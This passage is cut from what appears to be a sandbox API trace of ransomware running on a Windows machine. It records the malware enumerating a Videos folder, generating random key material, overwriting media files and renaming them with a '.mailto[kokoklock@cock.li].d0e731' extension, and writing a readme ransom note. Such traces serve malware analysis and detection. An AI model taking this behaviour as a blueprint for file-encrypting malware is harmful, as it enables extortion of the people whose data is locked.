(lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x91c [0073.393] WriteFile (in: hFile=0x91c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x173bfcd4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x173bfcd4*=0x481, lpOverlapped=0x0) returned 1 [0073.394] CloseHandle (hObject=0x91c) returned 1 [0073.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33de250) returned 1 [0073.394] RtlExitUserThread (Status=0x1) Thread: id = 589 os_tid = 0x129c [0073.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x34355f8 [0073.395] wcscpy (in: _Dest=0x34355f8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0073.396] wcscat (in: _Dest=0x34355f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0073.396] wcscat (in: _Dest=0x34355f8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*" [0073.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e000 [0073.396] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*", lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x24888200, ftLastAccessTime.dwHighDateTime=0x1d4cd0a, ftLastWriteTime.dwLowDateTime=0x24888200, ftLastWriteTime.dwHighDateTime=0x1d4cd0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339e8 [0073.396] wcscmp (_String1=".", _String2=".") returned 0 [0073.396] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x24888200, ftLastAccessTime.dwHighDateTime=0x1d4cd0a, ftLastWriteTime.dwLowDateTime=0x24888200, ftLastWriteTime.dwHighDateTime=0x1d4cd0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.396] wcscmp (_String1="..", _String2=".") returned 1 [0073.396] wcscmp (_String1="..", _String2="..") returned 0 [0073.396] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa0a3dc0, ftCreationTime.dwHighDateTime=0x1d4c69c, ftLastAccessTime.dwLowDateTime=0x5183a9d0, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0x5183a9d0, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x2e6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AJDrXahK.avi", cAlternateFileName="")) returned 1 [0073.396] wcscmp (_String1="AJDrXahK.avi", _String2=".") returned 1 [0073.396] wcscmp (_String1="AJDrXahK.avi", _String2="..") returned 1 [0073.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x34334c0 [0073.396] wcscpy (in: _Dest=0x34334c0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0073.396] wcscat (in: _Dest=0x34334c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0073.396] wcscat (in: _Dest=0x34334c0, _Source="AJDrXahK.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi" [0076.628] Sleep (dwMilliseconds=0x1) [0077.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34334c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0077.863] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c749740, ftCreationTime.dwHighDateTime=0x1d4c8f7, ftLastAccessTime.dwLowDateTime=0xfa9ad6c0, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xfa9ad6c0, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0xc33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="gNw X.swf", cAlternateFileName="GNWX~1.SWF")) returned 1 [0077.863] wcscmp (_String1="gNw X.swf", _String2=".") returned 1 [0077.863] wcscmp (_String1="gNw X.swf", _String2="..") returned 1 [0077.863] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x34947b8 [0077.864] wcscpy (in: _Dest=0x34947b8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0077.864] wcscat (in: _Dest=0x34947b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0077.864] wcscat (in: _Dest=0x34947b8, _Source="gNw X.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" [0077.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34947b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0077.864] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd145b0, ftCreationTime.dwHighDateTime=0x1d4d525, ftLastAccessTime.dwLowDateTime=0x80b22e90, ftLastAccessTime.dwHighDateTime=0x1d4ce55, ftLastWriteTime.dwLowDateTime=0x80b22e90, ftLastWriteTime.dwHighDateTime=0x1d4ce55, nFileSizeHigh=0x0, nFileSizeLow=0x87db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ncwp zw_N0TWsR1.flv", cAlternateFileName="NCWPZW~1.FLV")) returned 1 [0077.864] wcscmp (_String1="Ncwp zw_N0TWsR1.flv", _String2=".") returned 1 [0077.864] wcscmp (_String1="Ncwp zw_N0TWsR1.flv", _String2="..") returned 1 [0077.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348b058 [0077.865] wcscpy (in: _Dest=0x348b058, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0077.865] wcscat (in: _Dest=0x348b058, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0077.865] wcscat (in: _Dest=0x348b058, _Source="Ncwp zw_N0TWsR1.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" [0077.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0077.865] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa900f5e0, ftCreationTime.dwHighDateTime=0x1d4ceb2, ftLastAccessTime.dwLowDateTime=0xcea2da40, ftLastAccessTime.dwHighDateTime=0x1d4c68b, ftLastWriteTime.dwLowDateTime=0xcea2da40, ftLastWriteTime.dwHighDateTime=0x1d4c68b, nFileSizeHigh=0x0, nFileSizeLow=0xbd20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiI9KxvBNHBf.avi", cAlternateFileName="SII9KX~1.AVI")) returned 1 [0077.865] wcscmp (_String1="SiI9KxvBNHBf.avi", _String2=".") returned 1 [0077.865] wcscmp (_String1="SiI9KxvBNHBf.avi", _String2="..") returned 1 [0077.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a248 [0077.865] wcscpy (in: _Dest=0x348a248, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0077.866] wcscat (in: _Dest=0x348a248, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0077.866] wcscat (in: _Dest=0x348a248, _Source="SiI9KxvBNHBf.avi" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" [0077.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348a248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0077.866] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa900f5e0, ftCreationTime.dwHighDateTime=0x1d4ceb2, ftLastAccessTime.dwLowDateTime=0xcea2da40, ftLastAccessTime.dwHighDateTime=0x1d4c68b, ftLastWriteTime.dwLowDateTime=0xcea2da40, ftLastWriteTime.dwHighDateTime=0x1d4c68b, nFileSizeHigh=0x0, nFileSizeLow=0xbd20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiI9KxvBNHBf.avi", cAlternateFileName="SII9KX~1.AVI")) returned 0 [0077.866] FindClose (in: hFindFile=0x34339e8 | out: hFindFile=0x34339e8) returned 1 [0077.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e000) returned 1 [0077.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34355f8) returned 1 [0077.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432230) returned 1 [0077.867] RtlExitUserThread (Status=0x0) Thread: id = 590 os_tid = 0x12a0 [0073.398] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv")) returned 0x20 [0073.398] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv", dwFileAttributes=0x20) returned 1 [0073.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x920 [0073.398] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x174bfa7c | out: lpFileSize=0x174bfa7c*=38800) returned 1 [0073.398] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x978c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.398] ReadFile (in: hFile=0x920, lpBuffer=0x174bfa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x174bfa50*, lpNumberOfBytesRead=0x174bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0073.398] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef28 [0073.399] NtQuerySystemTime (in: CurrentTime=0x174bfa28 | out: CurrentTime=0x174bfa28*=132121176312846988) returned 0x0 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x24a9c01f [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x1706a798 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x862ab251 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x5511d2bf [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x9e69fe3 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x6d443ddd [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x285efd19 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x9f8d19d6 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xd6ef3569 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x588e50db [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xaa13b2b7 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x5900dcc9 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xe6914d40 [0073.399] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x63a467fc [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x2ae5ccfe [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xd073dbca [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x6f3a7f0b [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xb9f4b935 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x1ed227e9 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xd26141c2 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xc536e267 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xea9b4139 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x7f1cf1de [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x92b7ad3 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x121f98ec [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xf49e8136 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xf8d48653 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0xb650c3b [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x11df4267 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x62567468 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x55e97a88 [0073.400] RtlRandom (in: Seed=0x174bfa34 | out: Seed=0x174bfa34) returned 0x75032824 [0073.415] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.415] ReadFile (in: hFile=0x920, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x174bfa00, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x174bfa00*=0x4096, lpOverlapped=0x0) returned 1 [0073.415] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0073.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef50 [0073.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef50) returned 1 [0073.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.416] WriteFile (in: hFile=0x920, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x174bfa00, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x174bfa00*=0x4096, lpOverlapped=0x0) returned 1 [0073.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.416] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x9790, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x341ec08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x174bfa38, lpOverlapped=0x0 | out: lpBuffer=0x341ec08*, lpNumberOfBytesWritten=0x174bfa38*=0x20, lpOverlapped=0x0) returned 1 [0073.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x174bfa4c*=0x8, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x174bfa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x174bfa64*, lpNumberOfBytesWritten=0x174bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x174bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x174bfa4c*=0x6c, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x174bfa4c*=0x20, lpOverlapped=0x0) returned 1 [0073.417] WriteFile (in: hFile=0x920, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x174bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x174bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0073.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.418] CloseHandle (hObject=0x920) returned 1 [0073.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33fb1b0 [0073.418] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" [0073.418] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" [0073.418] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow 